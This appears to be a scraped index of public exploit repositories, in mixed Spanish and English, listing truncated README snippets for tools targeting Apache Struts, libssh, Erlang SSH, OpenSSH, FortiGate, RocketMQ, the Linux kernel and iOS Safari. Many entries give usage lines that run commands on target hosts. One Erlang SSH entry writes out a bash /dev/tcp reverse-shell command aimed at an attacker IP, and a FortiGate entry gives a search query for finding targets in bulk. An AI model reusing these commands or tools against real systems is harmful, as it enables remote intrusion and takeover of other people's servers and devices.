struts-pwn

struts-pwn Un exploit para Apache Struts CVE-2017-5638 Uso Probando una sola URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Probando una lista de URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Comprobando si la vulnerabilidad existe en una sola UR...

MikrotikExploit

Mikrotik Exploit Scan and Export RouterOS Password allow you to scan subnet of IPv4 in loop with different port. Installation install python3 Ubuntu/Debian: $ apt-get install python3 install python3 Python package manager Ubuntu/Debian: $ apt-get install python3-pip Mac $ ruby -e "$curl -fsSL...

CVE-2021-3345

CVE-2021-3345 Actual working exploit for CVE-2021-3345...

CVE-2018-10933

Esta herramienta permite escanear y explotar servidores que ejecutan versiones vulnerables de libssh. vulnerabilidad: https://www.libssh.org/security/advisories/CVE-2018-10933.txt corrección: https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ esta herramienta es...

org.cowpoop.moooooo

org.cowpoop.moooooo APK de Android basada en información pública que utiliza el exploit DirtyCOW CVE-2016-5195 ESTA ES ACTUALMENTE UNA APLICACIÓN QUE NO FUNCIONA LA ELIMINARÉ UNA VEZ QUE LAS PRUEBAS TENGAN ÉXITO...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2024-6387

CVE-2024-6387 This is an altered PoC for d0rb/CVE-2024-6387. This takes glibc addresses and trys to exploit the CVE through them...

CVE-2018-8174_EXP

CVE-2018-8174EXP uso: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit para CVE-2018-8174 argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -u URL, --url URL url del exploit -o OUTPUT, --output OUTPUT Salida del exploit rtf -i IP, --ip IP ip para netcat -p PORT,...

CVE-2018-14714-POC

CVE-2018-14714-POC Repositorio movido aquí:https://github.com/sunn1day/CVE-2018-14714-POC...

CVE-2024-35250-BOF

CVE-2024-35250-BOF Implementación de Beacon Object File BOF para CVE-2024-35250. Construcción La plantilla del proyecto proviene de bof-vs. Compilar con la configuración Release de Visual Studio 2019/2022. Agradecimientos https://github.com/varwara/CVE-2024-35250...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ Remote Code Execution CVE-2023-33246 Exploit Usage: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" Disclaimer: This detection tool is intended only for security testing by security testers of major security companies. Do not use it to invade ...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 exploit individual o por lotes Modo de uso Generar clave pública python3 exp.py -u ip:port -k idrsa2048.pub -l hosts.txt especificar archivo por lotes FOFA title="FortiGate"...

CVE-2025-38248_EXP

CVE-2025-38248EXP El primer exploit para CVE-2025-38248 El exploit tiene dos formas de uso: ROP y dataonly. Los colegas interesados pueden investigar...

Apache_Penetration_Tool

ApachePenetrationTool Una herramienta de explotación de vulnerabilidades desarrollada con QT C++. Descripción en chino Descripción en inglés Interfaz de la herramienta En el selector de número de vulnerabilidad, elija la vulnerabilidad que desea detectar. Detección de vulnerabilidades En el prime...

CVE-2019-9053

CVE-2019-9053 Exploit de CVE-2019-9053 para Python 3 Última prueba: 28-12-2021 Probado en: Python 3.10.1 Fuente original del exploit: https://www.exploit-db.com/exploits/46635 Los usuarios asumen toda la responsabilidad por cualquier acción realizada con esta herramienta. Si estos términos no son...

libmsm_cameraconfig_exploit

Código original escrito por @tewilove http://pastebin.com/8BPCDc4i...

CVE-2022-24122

CVE-2022-24122 Denegación de servicio simple usando CVE-2022-24122 Funciona con sistemas de 1 núcleo y tiene una probabilidad de éxito de 80% con 2 núcleos...

CVE-2022-0185-PipeVersion

Versión pipe de CVE-2022-0185 Usando pipe-primitive para explotar CVE-2022-0185, por lo que no se necesita fuga de kaslr ni bypass de smap smep ktpi : P: ¿Qué es pipe-primitive? R: https://github.com/veritas501/pipe-primitive...

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529-

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529- CTT-Enhanced iOS Safari Exploit based on CVE-2025-43529...

CVE-Exploit-Research-Development

🔐 SSH Exploit Tool Educational Use Only 📌 Description This tool demonstrates exploitation of: CVE-2008-0166 CVE-2008-1657 It connects to vulnerable SSH services and provides: Persistent interactive shell Command execution logging Automatic PDF & DOCX report generation ⚙️ Features Persistent shell...